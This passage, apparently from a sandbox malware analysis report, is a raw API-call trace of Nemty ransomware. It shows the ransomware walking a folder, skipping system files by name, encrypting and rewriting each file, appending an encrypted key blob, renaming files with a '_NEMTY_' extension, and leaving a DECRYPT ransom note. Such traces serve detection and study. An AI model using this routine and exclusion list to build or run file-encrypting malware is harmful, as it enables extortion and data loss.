Size=0x10) returned 0x4f91750 [0185.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0185.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.139] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0185.140] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=37488) returned 1 [0185.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9270) returned 0x6352c48 [0185.140] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.140] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9270, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9270, lpOverlapped=0x0) returned 1 [0185.144] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.144] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9270, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9270, lpOverlapped=0x0) returned 1 [0185.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.144] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=37488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9270 [0185.144] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0185.144] CloseHandle (hObject=0x2f0) returned 1 [0185.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0185.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0185.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0185.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.145] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.145] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0185.145] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0185.145] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0185.145] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0185.145] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0185.145] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0185.145] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0185.146] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0185.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0185.147] Sleep (dwMilliseconds=0x5) [0185.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2201e490, dwHighDateTime=0x1d561e8)) [0185.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2201e490, dwHighDateTime=0x1d561e8)) [0185.154] GetLastError () returned 0x0 [0185.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.154] GetLastError () returned 0x0 [0185.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0185.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0185.155] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0185.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0185.155] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="p0qGkjMp2FlKR9Wd05Yqca9wHacMRvDF/JT5ViLWwEyxdDAdyl4602PI+NE8fja5\r\nVh3TgvtB9hFxlk/1MABAXLSl6PafzX/mRGIqL16ZMYcr+0dk/0/qlvcGQk3Acs+y\r\n8TDoUljVjWvqBw3pdPT6WqCWNvLSelsOuEPCo/0sl8cDZFGqS3bbpqknG1eckLAW\r\n8qe3xuKO+zz1wsmafsiSHxYp9eqm9RchYvphUCf7PQIbkrwXHtLkXfppwAhEM5oE\r\n/6Suo6sFZDSvFvmpfdt/FIcOzMPIavGNqPTyyuWUqhlFyL5bJVteyu3pJjur2bOi\r\ncdvpWWiMsXzoFR9c2SYCkQ==\r\n", pcchString=0x653e29c) returned 1 [0185.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0185.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0185.155] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=229) returned 1 [0185.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0185.155] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.155] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0185.156] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.156] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0185.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0185.157] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=229, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe5 [0185.157] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0185.157] CloseHandle (hObject=0x2f0) returned 1 [0185.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0185.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0185.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0185.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0185.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.157] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0185.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0185.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0185.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.158] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fd21d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21fd21d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21fd21d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0185.158] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0185.158] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0185.159] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0185.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0185.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0185.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0185.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.160] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, 